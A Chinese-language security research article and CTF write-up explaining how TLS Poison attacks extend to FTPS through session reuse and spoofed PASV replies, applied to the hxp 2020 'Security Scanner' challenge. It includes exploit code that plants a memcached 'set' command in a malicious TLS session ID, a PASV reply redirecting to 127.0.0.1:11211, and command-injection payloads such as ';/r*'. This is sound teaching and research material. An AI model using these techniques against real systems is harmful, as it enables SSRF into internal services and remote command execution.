本文转自长亭安全课堂
PS: 在阅读本文前,建议您掌握相关TLS Poison知识,本文不再详细介绍 TLS Poison 攻击基础知识。
在Black Hat USA 2020 - When TLS Hacks You议题中,提出了一种利用 TLS 协议特性结合客户端实现缺陷达到攻击内网应用的攻击方式,(具体可以登录:https://www.blackhat.com/us-20/briefings/schedule/#when-tls-hacks-you-19446进行查看)。本文将在这个议题基础上提出疑问:为什么使用的是 When TLS Hacks You ,而不是 When HTTPS Hack (Hacks?) You 呢?
这说明问题是出现在 TLS 特性身上,目前我们貌似都更多专注在 HTTPS 上,但既然HTTPS 是 HTTP over TLS ,那其他协议是不是也可以呢?比如 FTPS ,FTP over TLS 等等?接下来就让我们来看看 FTPS 是可以如何利用的吧。
Introduction of FTPS
FTPS (also known FTP-SSL, and FTP Secure) is an extension to the commonly used File Transfer Protocol (FTP) that adds support for the Transport Layer Security (TLS) and, formerly, the Secure Sockets Layer (SSL, which is now prohibited by RFC7568) cryptographic protocols.
FTPS should not be confused with the SSH File Transfer Protocol (SFTP), a secure file transfer subsystem for the Secure Shell (SSH) protocol with which it is not compatible. It is also different from FTP over SSH, which is the practice of tunneling FTP through an SSH connection.
首先简单介绍一下 FTPS ,FTPS 是一种对常用的文件传输协议(FTP)添加传输层安全(TLS)和安全套接层(SSL)加密协议支持的扩展协议。
在 HTTPS 横空出世之后,SSL 协议也应用到了 FTP 上,随后在 1996 发布了 FTPS 的一个草案 Secure FTP over SSL ,但是直到 2005 年才最终确定终稿 RFC 4217 - Securing FTP with TLS 。然而实际上,FTPS 拥有两种模式,这里并非指的是 FTP 的主动、被动模式,而是显式、隐式模式。
Implicit Mode PART/01
在隐式模式下,FTPS 的默认端口在 990 端口上,隐式模式下所有的连接数据均为加密。
客户端必须先使用 TLS Client Hello 消息向 FTPS 服务器进行握手来创建加密连接,如果 FTPS 服务器未收到此类消息,则服务器应断开连接。为了保持与现有的非 FTPS 感知客户端的兼容性,隐式 FTPS 默认在 IANA 规定的端口 990/TCP 上监听 FTPS 控制通道,并在端口 989/TCP 上监听 FTPS 数据通道。这使得管理员可以保留端口(控制通道 21/TCP 与数据通道 20/TCP )以兼容原始的FTP。
虽然我没有查找到隐式 FTPS 的相关历史,但是我个人觉得他更像在 SSL 时代应运而生的产物,更符合了 FTP over SSL 的意思,也就是一开始使用 TLS/SSL 进行会话创建,再进行数据加密传输。但 RFC 4217 中未定义隐式模式,因此它也被认为是FTP协商TLS/SSL中过时的早期方法。
Explicit Mode
PART/02
在显式模式(也称为FTPES)下,FTPS 客户端先与服务器创建明文连接,然后从控制通道明确请求服务端升级为加密连接(命令为: AUTH TLS)。控制通道与数据通道默认端口与原始 FTP 一样也是 21 端口。控制通道始终加密,而数据通道是否加密则为可选项。同时若服务器未限制明文连接,也可以使用未加密的原始 FTP 进行连接,也就是说服务器在相同的端口上同时提供 FTP 与 FTPS 服务。
与FTP协商认证和安全的机制是在 RFC 2228 下增加的,其中包括新的 FTP 命令 AUTH 。虽然该 RFC 没有明确定义任何所需的安全机制,如 SSL 或 TLS ,但它确实要求 FTPS 客户端用一个双方都知道的机制挑战 FTPS 服务器。如果 FTPS 客户端用一个未知的安全机制挑战 FTPS 服务器, FTPS 服务器将以错误代码 504(不支持)响应 AUTH 命令。客户可以通过使用 FEAT 命令查询 FTPS 服务器来确定支持哪些机制,尽管服务器不一定需要诚实地披露它们支持哪些安全级别。调用 FTPS 安全的常见方法包括 AUTH TLS 和 AUTH SSL 。显式方法在 RFC 4217 中定义后,FTPS的合规性要求客户端始终使用 AUTH TLS 方法进行协商。
我们可以在 RFC 4217 中找到显式 FTPS 建立连接方式:
数据传输阶段:
TLS Poison In FTPS
看到如上解释,想必大家可能也会有思考,那么是不是 FTPS 也会有 TLS 会话重用的特性呢?那么是不是也可以跟 TLS Poison 相关联起来呢?
Explicit
首先我们来先看看拥有 RFC 4217 规范的显示 FTPS ,我们可以借用 pyftpdlib 来做一个简单的 FTPS Server。
代码语言:javascript复制 """
An RFC-4217 asynchronous FTPS server supporting both SSL and TLS.
Requires PyOpenSSL module (http://pypi.python.org/pypi/pyOpenSSL).
"""
from pyftpdlib.servers import FTPServer
from pyftpdlib.authorizers import DummyAuthorizer from pyftpdlib.handlers import TLS_FTPHandler
def main():
authorizer = DummyAuthorizer()
# authorizer.add_user('ftpuser', 'ftpuser123', '.', perm='elradfmwMT') authorizer.add_anonymous('.')
handler = TLS_FTPHandler
handler.certfile = 'keycert.pem'
handler.authorizer = authorizer
# requires SSL for both control and data channel handler.tls_control_required = True
handler.tls_data_required = True
server = FTPServer(('', 11211), handler)
server.serve_forever()
if __name__ == '__main__':
main()
对于客户端我们可以使用 curl 来发起一个显式 FTPS 请求:
代码语言:javascript复制curl --ftp-ssl --user name:passwd ftp://ftp.host.com/
如果需要用户验证就加上--user选项即可,不需要的话就不用,结果如图所示:
我们可以清楚的看到,显式 FTPS 在使用AUTH SSL命令之后才与服务器建立的 TLS 连接,并在LIST之后我们可以看到重新使用了 TLS Session 。
这里我们简单回顾一下,在利用 HTTPS 进行 TLS Poison 时,我们需要再次使用 HTTP 重定向让客户端重新与我们建立会话,但是仔细观察 FTPS ,我们并没有使用类似 HTTPS 重定向的功能让其再次与 FTPS 服务器建立连接,那为什么我们只是简单访问一次 FTPS 服务器就会产生会话重用的现象呢?
让我们看之前发生了什么,客户端使用了EPSV命令表示使用 FTP 被动模式,FTP 服务器以(||||32949)对该命令进行了回复。
这里我们简单回顾一下 FTP 的被动模式:在被动模式的 FTP 中,客户端启动到服务器的两个连接,解决了防火墙阻止从服务器到客户端的传入数据端口连接的问题。FTP 连接建立后,客户端在本地打开两个随机的非系统端口 N 和 N 1(N > 1023)。第一个端口连接服务器上的 21 端口,但是客户端这次将会发出 PASV 命令,也就是不允许服务器连接回其数据端口。这样,服务器随后会打开一个随机的非系统端口 P (P > 1023),并将 P 发送给客户端作为 PASV 命令的响应。然后客户端启动从端口 N 1 到端口 P 的连接来传输数据。其中EPSV命令为PASV的更新版本,主要为了兼容 IPv6 而在 RFC 2428 中定义的。
所以在被动模式中,我们可以借由上图清楚的明白,在数据传输阶段,客户端需要与服务端重新建立一次连接!而在显式 FTPS 当中,重新建立连接就可以重新使用 TLS 会话,也就意味着可能被 TLS Poison 攻击!
Implicit
对于隐式模式,因为一开始就需要建立 TLS 会话,所以即使没有 RFC 规定,理论上也很明显应该也同样会支持 TLS 会话重用的机制。
这里我们可以使用 vsftpd 来进行简单实验,安装 vsftpd 后在 /etc/vsftp.conf 中开启implicit_ssl=YES选项
参考配置:
listen=NO
listen_ipv6=YES anonymous_enable=YES local_enable=YES write_enable=YES local_umask=022 anon_root=/var/ftp/ no_anon_password=YES hide_ids=YES dirmessage_enable=YES use_localtime=YES xferlog_enable=YES connect_from_port_20=YES secure_chroot_dir=/var/run/vsftpd/empty pam_service_name=vsftpd pasv_enable=Yes pasv_min_port=10000 pasv_max_port=11000 rsa_cert_file=/home/ubuntu/tls/fullchain.pem rsa_private_key_file=/home/ubuntu/tls/privkey.pem ssl_enable=YES ssl_ciphers=HIGH allow_anon_ssl=YES force_local_data_ssl=YES force_local_logins_ssl=YES ssl_tlsv1=YES ssl_sslv2=NO ssl_sslv3=NO listen_port=11211 implicit_ssl=YES
请按照其他教程申请对应域名证书、配置好匿名 ssl 访问 vsftpd ,否则很容易导致 vsftpd 报错,并且检查好 vsftpd 状态是否成功运行。
配置好 vsftpd 后使用 curl 进行访问:
curl ftps://exmaple.com -v
这里我另外增加了--tls-max 1.2选项,因为在 TLS 1.3 当中, Session ID 传输在加密过程中,不便观察,而 TLS 1.2 可以在 Server Hello 消息中看到 TLS Server 设置的 Session ID,所以这里我们使用--tls-max 1.2迫使 curl 最大使用 TLS 1.2 版本。
我们就可以观察到如下图所示现象:
可以看到也是在使用PASV命令之后,也就是数据传输阶段时,重新使用了 Session ID 进行建立 TLS 会话。
PASV
既然确定了可以重用 TLS 会话,那么接下来的一个问题就是 DNS Rebinding 的问题,也是 TLS Poison 攻击中的关键问题。
但是众所周知,特别是在过去的一年当中,FTP 在 CTF 中的利用出现得也算比较多的了,利用主动、被动模式进行 SSRF 也不并不是新鲜的 Trick 了,所以在这里我们还可以从 FTPS 服务端向客户端默认发送的PASV命令给予恶意回复为227 Entering Passive Mode (127,0,0,1,43,203),就可以得到一个简单的 “DNS Rebinding” 效果了。
然而一目了然的是,这种小 Trick 应该被视为一种漏洞,因为在设计之初,本来就应该将 FTP 客户端、服务端进行绑定,也就是说,无论 FTP 使用被动还是主动模式,都应该是服务端与客户端之间进行建立控制流与数据流,并不应该与第三者进行,况且如果攻击者恶意将数据流定向到内网端口就极易产生 SSRF 。
所以,Firefox 早在 2007 年就修复了 FTP 带来的这个问题,并分配了 CVE 编号:CVE-2007-1562 ,而 curl 迟迟在 2020 年才被发现这类问题并修复,也分配了 CVE 编号:CVE-2020-8284。curl 版本在 4.0 与 7.73.0 之间都会受到该种漏洞的影响,详见:trusting FTP PASV responses
对于 FTPS 来说,只要存在PASV这个漏洞,就可以非常方便地使用 TLS Poison 进行攻击。具体步骤为:
- curl 访问 ftps 服务器,并与其建立 tls 握手
- ftps 服务器在建立 tls 连接时设置恶意 session id
- ftps 对于 curl 发出的pasv命令返回(127,0,0,1,43,203),并等待接下来的LIST等命令
- 之后 curl 才会与 127.0.0.1:11211 尝试重用 session id 建立 TLS 会话
好了,熟悉了 TLS Poison 攻击以及确定 FTPS 两个形式都可能受到 TLS Poison 攻击,那接下来我们就来亲自体验一下在 CTF 当中的应用吧。
HXP CTF - Security Scanner
这是来自 2020 年 hxp CTF 当中的一道 web 方向题目,到 hxp 比赛结束只有两解,算是一道比较难的题目。
01
Description
Finally, after all these years computers are stealing my job.
Try our new robotic security scanner.
Author: 0xbb
主要题目源码:
<?php session_start(); if (!isset($_SESSION['sandbox'])) { $id = ''; while(strlen($id) < 10) { $b = random_bytes(1); if(ord($b) > 32 && ord($b) != 0x7f) { $id .= $b; } } $_SESSION['sandbox'] = $id; } echo '<h1>Sandbox</h1>'; echo '<code>'.base64_encode($_SESSION['sandbox']).'</code>'; $m = new Memcached(); $m->addServer('127.0.0.1', 11211); $url = strval($_GET['url']); if ($m->get($_SESSION['sandbox'].$url) !== 'OK') { if(preg_match('/^[0-9a-zA-Z:./-]{1,64}$/', $url) !== 1) { die('security :('); } $git_check = "001e# service=git-upload-packn"; $data = file_get_contents($url .'/info/refs?service=git-upload-pack'); if ($data === FALSE || substr($data, 0, strlen($git_check)) !== $git_check) { die("doesn't look like git :("); } $m->set($_SESSION['sandbox'].$url, 'OK', time() 300); } $output = []; $return_var = 1; exec("timeout -s KILL 3 git ls-remote --tags -- $url", $output, $return_var); if($return_var !== 0) { die('analysis failed :('); } echo '<h1>Analysis</h1>'; echo "URL: ${url}"; echo '<h2>Tags</h2>'; echo '<ul>'; foreach($output as $l) { echo "<li><code>${l}</code></li>"; } echo '</ul>'; echo '<h2>Result</h2>'; if(TRUE) { // patented algorithm (tm) echo 'Likely insecure :('; }
02
Analyze
审计代码,我们可以总结出代码执行的主要流程如下:
- 生成随机字符串做 SANDBOX
- 用户输入 url 后,从 Memecached 中获取键值为 SANDBOX url 的 Value 值,判断是否为 "OK"
- 如果不是,通过^[0-9a-zA-Z:./-]{1,64}正则后,通过file_get_contents访问url .'/info/refs?service=git-upload-pack',检查结果是否以001e# service=git-upload-packn开头
- 如果不是以001e# service=git-upload-packn开头,则结束程序
- 如果是,则会在 Memecached 中将键值为 SANDBOX url 的 Value 值设置为 "OK",时间为 5min
- 如果是 "OK" ,则会使用exec执行命令timeout -s KILL 3 git ls-remote --tags -- $url,如果访问成功则输出响应
整个代码流程如下图所示:
03
Solution 1
From:https://github.com/dfyz/ctf-writeups/tree/master/hxp-2020/security scanner
我们先来看看第一种解法,这也是 perfect guesser 他们使用的类似解法,通过 HTTPS 来进行解题。
题目唯一一处可以让我们直接执行命令的地方就是exec处了,所以如果没有其他校验验证的话,我们可以直接使用命令注入进行 RCE ,例如传入url=;/readflag,这样题目执行顺序如下流程图所示:
这样题目在执行我们的命令时,就也会把回显显示给我们了,也就拿到 FLAG 了。
既然最后一步我们知道了,我们就得想办法如果绕过前面的验证步骤。主要验证也就是如下两个步骤:
- 正则表达式:^[0-9a-zA-Z:./-]{1,64}。表达式比较严格,看起来并没有什么可以让我们进行命令注入的机会。
- 即使绕过了正则,但是file_get_contents并不会认为;/readflag是合法协议,也不能接着去执行。
所以问题就来到了如何将我们的 payload 写入 memcached 当中以及我们如何绕过前面两个正则。
既然是要写入 memcached 我们不难想到 2020 年 black hat 上的议题 When TLS Hacks You ,其中作者使用的 demo 就是通过 TLS 配合 DNS Rebinding 来对 memcached 发起 SSRF 攻击,所以如何将我们的 payload 写入到 memcached 当中基本有了个大致的思路,问题是如何实现利用这个思路呢?
我们再来看看如果真是使用 TLS Poison 攻击的话,使用 HTTPS 是不是就可以满足以上两个限制的条件了呢?确实如此,https://并没有使用其他禁止的字符,并且我们可以通过 HTTPS 让题目的file_get_contents得到任意内容,包括满足他所需要的001e# service=git-upload-packn这个条件。
所以似乎看起来 TLS Poison 正是这个题目的关键!如果是这样的话,接下来我们就需要确定,我们应该使用 file_get_contents还是 git 来进行操作呢?也就是说哪一个支持 TLS 会话重用这个特性呢?我们知道file_get_contents并没有依赖 libcurl ,我们如果直接查看 PHP 源代码有点麻烦,不如直接通过让其访问我们 TLS Poison Demo 来测试,如果能有支持 TLS 会话重用,在 302 时,也就是第二次访问我们 TLS Server 即会带上 Session ID ,这个我们可以直接用wireshark 本地抓包即可看到了。但是经过测试其实我们可以看到file_get_contents并没有在第二次 TLS 会话时重用 Session ID,如图所示:
所以接下来我们就只能寄希望于 git 了,那么 git 是否支持 TLS 重用会话?怎么确定 git 是否支持 TLS 会话重用呢?我们能不能确定 git 使用的是什么网络请求资源依赖库呢?比如 libcurl ?如果是 libcurl ,我们就好办了,因为明确知道 libcurl 对于 HTTPS 的支持是可以支持会话重用的,至少对于 OpenSSL 或者 GnuTLS 来说,都是支持此项特性的。
那么到底如何确定呢?这有点类似于找一个站点使用了什么 web 框架,一般来说我们可以尝试通过找站点特征、报错回显等方式来确定,但是 git 发起网络请求的 User-Agent 中只带了它自己的 UA 特征,并没有显示是否使用 libcurl ,在代码中虽然可以找到<curl/curl.h>,但是到底用没用我们似乎不是很好判断;所以我们可以尝试通过报错回显来确定 git 到底用没用 libcurl (idea from @zsx ),如何引起这个报错呢?不难想到我们可以尝试用一个 libcurl 不支持的协议来确定,比如 gopher 协议。接下来我们可以在自己服务器上放一个 php 让其 Location 跳转到 gopher 协议上,例如:
代码语言:javascript复制$ cat 302.php
<?php
header("Location: gopher://localhost/");
$ git ls-remote --tags -- http://localhost/302.php
fatal: unable to access 'http://localhost/302.php/': Protocol "gopher" not supported or disabled in libcurl
我们就可以看到明显的 libcurl 错误回显。
既然确定了可以使用 git 来进行 TLS Poison 攻击 Memcached ,那么具体我们应该这么做呢?我们从 getFlag 开始来看看:
- 要让exec执行;/readflag,我们要让;/readflag在 Memcached 中的 Value 为 "OK"
- 那怎么写入;/readflag呢?我们可以利用 git 来实施 TLS Poison ,向 Memcached 中写入 Key 为;/readflag,Value 为 "OK"
- 那怎么实施 TLS Poison 呢?部署 HTTPS Server ,先绕过之前两个限制,在 git 请求 HTTPS Server 的时候实行 TLS Poison
具体流程图如下:
其中我们可以使用双 A 记录的方法来优化 DNS Rebinding 方式,具体关于 TLS Poison 详细解释可以参考我之前写的一篇文章:一篇文章带你读懂 TLS Poison 攻击(https://blog.zeddyu.info/2021/04/20/tls-poison/)
这里 wp 作者放出的 exp 其实并不可用,在 TLS 握手时会产生错误,所以我又不得不使用其他工具实现这个 exp ,而整个 exp 构造中比较关键的地方在于,如何让file_get_contents正常获取到指定内容后,git 再访问时就需要使用恶意的 TLS Server 。对于这个点,我们可以从请求的 UA 上做区分,判断 UA 中是否有 git 来区分这两者请求来返回对应的响应,所以 rustls 我就不考虑了...这玩意着实难改,于是选用了 tlslite-ng 作为 TLS 服务器,并修改MySimpleHTTPHandler函数中的处理 HTTP 请求的关键代码,如下:
代码语言:javascript复制if 'git' in str(self.headers):
print('This is git! Redirecting it back to memcached and shutting down') assert session_id, 'Session id should have been set at this point' headers = {
'Location': f'https://tls.exmaple.com:11211/pwned', }
self.wfile.write(get_http_response(302, headers, ''))
return else:
print('This is PHP! Showing them something that looks like a git repo and stealing sandbox ID')
b64_sandbox_id = re.search('/(.{14})/', self.path).group(1) while len(b64_sandbox_id) % 4 != 0:
b64_sandbox_id = '='
sandbox_id = base64.b64decode(b64_sandbox_id)
assert len(sandbox_id) == 10, f'The sandbox id should have exactly 10 bytes, got:
{sandbox_id}'
session_id = b'rnset ' sandbox_id b';/r* 0 0 2rnOKrn'
assert len(session_id) == 32, f'The session should have exactly 32 bytes, got:
{session_id}'
print(f'Got sandbox id: {sandbox_id}, session_id: {session_id}')
fake_git = '001e# service=git-upload-packn'
self.wfile.write(get_http_response(200, {}, fake_git))
return
这里因为题目设置了 sandbox ,占用了 10 字节,而 TLS 1.2 中的 SessionID 局限于 32 字节,所以我们没办法直接使用;/readflag,否则会超出长度,直接使用;/r*也可以执行读取 flag 命令。最后打包整理的 Exp 放在:https://github.com/ZeddYu/TLS-poison/tree/master/Practice1-hxp2020/solution1
在自己的服务器上搭建好 TLS 服务器之后,最后用 exp.py 自动发包就能拿到 flag 了:
04
Solution 2
当然如果只是简单的复现 TLS Poison 我也不会这么详细的写一篇文章来讲这个题了, CTF 能带给我最大的快乐就是看到一些在自己预期之外的东西,这些东西往往都更有意思,也更 Amazing 。
结合前文,我们这里可以尝试使用 FTPS 来进行解答这个题目。如果使用 FTPS ,那么重定向、DNS Rebinding 的操作我们就可以不需要了,因为可以使用PASV直接将数据通道指向 127.0.0.1:11211 即可。
那么接下来就需要确定 git 中的 libcurl 是否受到PASV漏洞影响了,我们可以从 git 版本、简单搭建一个恶意的 FTP 服务器进行测试,这里就不展开进行测试了。(其实是比较懒)我们这里就直接开始尝试使用 FTPS 进行解题。
按照之前的流程,我们需要确定几个点:
- 如何绕过之前题目使用file_get_contents对文件内容确认?我们可以直接创建/info/ref文件,内容为题目要求的内容即可
- 如何绕过正则?我们只需要配置好匿名 ftps 即可,就不需要引入为了用户认证而使用的@符号了,其余的字符就属于正则内的字符了
- 用隐式还是显式?因为我们使用的格式是ftps://ftps.exmaple.com:11211/这种形式,这只能是隐式 FTPS 的格式,所以使用隐式 FTPS
剩下的便是如何构造 exp 的问题了,怎么去弄一个隐式 FTPS ,难道还要修改个恶意 vsftpd ?那样比较麻烦,这里我们可以使用 rustls 的转发功能,该功能可以帮我们处理了 TLS 创建的问题,并且按照之前的基础,我们也可以把它直接作为恶意 TLS 服务器,这样我们就只需要弄一个 socket 用来处理 FTP 即可。
依旧使用我仓库的 TLS 工具:https://github.com/ZeddYu/TLS-poison/ ,按照 setup 做好初始化后,使用如下命令开启 rustls 的转发功能,将 TLS 上层流量转发到 2048 端口:
TLS-poison/client-hello-poisoning/custom-tls/target/debug/custom-tls -p 11211 --certs /home/ubuntu/tls/fullchain.pem --key /home/ubuntu/tls/privkey.pem forward 2048
然后在 2048 端口我们弄个 socket 监听并读一下 FTP ,然后就是处理 FTP 命令的事情了,这里可以使用 vsftpd 来进行命令响应的参考,最后实现:https://github.com/ZeddYu/TLS-poison/blob/master/Practice1-hxp2020/solution2/curl_exp.py
PS:这里 FTP 服务记得要完整实现对 PASV 之后的命令处理,否则攻击失败。
这里我自己编译了一个存在pasv漏洞的 curl 调试,访问我们的 ftps 服务器之后就会对我们 127.0.0.1:11211 进行 TLS 会话重用,就会将我们的 payload 发送到11211 端口了:
写入之后基本上就没有什么问题了。
●
整个结题流程
●
- 首先得访问一次题目拿到 cookie
- 一开始的file_get_contents我们可以使用 vsftpd 来在匿名 ftp 目录下放置/info/ref文件,文件内容就是 "001e# service=git-upload-packn"
- 题目使用file_get_contents访问之后,我们就可以关闭 vsftpd ,然后开启 rustls 恶意 TLS 服务器,注意提前设置在 redis 当中设置好 payload
- 题目执行exec,也就是使用 git 来访问我们的 FTPS 服务器时,双方建立 TLS 握手,我们会设置可以执行读取 flag 的 Session ID
- 建立握手完毕后,执行 FTP 流程
- 在题目 git 处理 FTP 流程中,我们会给 git 发出的PASV命令请求的响应227 Entering Passive Mode (127,0,0,1,43,203)rn
- git 会根据得到的 127.0.0.1:11211 这个地址尝试进行 TLS 会话重用
- 至此,完成对 Memcached 的攻击,成功写入rnset 1234567890;/r* 0 0 2rnOKrn,其中那串连续数字我用来表示 sandbox id
- 带着最开始设置的 cookie 向题目提交 url 地址为;/r*,此时题目向 Memcached 查询 1234567890;/r*的值,得到 url 的值为 OK ,绕过限制
- 题目执行exec("timeout -s KILL 3 git ls-remote --tags -- return_var);,其中url就是我们传入的;/r*,完成命令注入,执行读取 flag 命令拿到 flag
至此,完成这个题目的 FTPS 解法。exp 效果图如下:
05
Something else
其实这个解法也是后来问的 0xbb 出题人,预期解法是利用 FTPS 的解法。但是比赛的时候,队友还找到了一处其他可能的地方想着 SSRF 来着,但是后来不太行,后面跟 Perfect Blue (也就是这次参赛的联合战队 perfect guesser 的联合队之一)的朋友交流了一下确实是用 TLS Poison ,并且他跟 A0E 某个师傅一样也重写了 DNS 相关部分内容2333
如果你觉得做完这个题目还觉得不过瘾,还可以去做一下 Tet CTF 的一个题目。在越南的 TetCTF 2021 当中,有一个单独的分类 Web & Crypto 有这么一道题:HackEmAll-Next-Gen-Proxy ,这道题当中就比较直接:
代码语言:javascript复制 def _set_cache(_key, _value):
if str(_key) != "" and str(_value) != "":
_cache_handle = pylibmc.Client(["127.0.0.1:11211"], binary=False) _cache_handle.set(_key, _value, time=60)
return True
else:
return False
def _get_cache(_key):
_cache_handle= pylibmc.Client(["127.0.0.1:11211"], binary=False) return _cache_handle.get(_key)
def parse(_url):
_cmd = ["curl", "-L", "-k", str(_url)] _content = subprocess.check_output(_cmd)
return _content.encode('hex')
这个就已经有非常明显的提示了,同样是熟悉的 Memcached ,同样是-L选型特地允许 curl 重定向,很标准的一道 TLS Poison 题目,这里就不再多啰嗦了。不过对于这题,以及-L选项,当时有选手想出使用 gopher 来做这个题,本地都能打,但是到了远程就拉垮了,原因是在新版的 curl 中,就像我们一开始验证的一样, gopher 协议已经不再是 libcurl 默认支持的重定向协议了,只有 HTTP/HTTPS 和 FTP 是默认支持重定向,具体见:https://github.com/curl/curl/commit/6080ea098d97393da32c6f66eb95c7144620298c
Conclusion
至此,本篇加上之前的 《一篇文章带你读懂 TLS Poison 攻击》 ,基本上算是把 TLS Poison 的理论、实践、 CTF 应用都讲了一遍,或许以后可能还会研究一下TLS Poison 攻击 SMTP 的靶场(应该不太可能),但是 TLS Poison 需要探索的内容依旧还有很多,比如对于显式 FTPS 的 TLS Poison 利用化工具,如果没有了PASV漏洞,FTPS 还有没有其他方式利用等等问题,都是还有待大家进一步去挖掘的。
最近花了很多精力在研究上,一方面确实觉得 TLS Poison 是一个很精彩的攻击方式,尽管它局限性很大,但是这个攻击整体构造利用都相对比较巧妙,在众多对 TLS 密码算法的攻击中令人耳目一新;一方面是对于 CTF 题目,尤其是 hxp 这个题目一直耿耿于怀,正好也是 TLS Poison 的深层次利用,这就成为了后来我整理 TLS Poison 攻击的动力来源之一。
还有一方面是,我之前发朋友圈探讨 CTF 相关价值观的问题,以及 CTF 是否是信息安全最佳入门方式,@Anciety 评论说 CTF 可能不是信息安全入门方式,但是他认为是信息安全研究的入门方式。正如他所说,通过这个 CTF 题目,我对 TLS Poison 进行了更深入的探究,也有了更多的理解,这可能就是一道良好的 CTF 题目给安全研究者带来的好处之一吧,同时也带给了我很多快乐,也希望以后能遇到更多类似优秀的题目,能引导、推动我去做更多有意思更深层次的研究。
End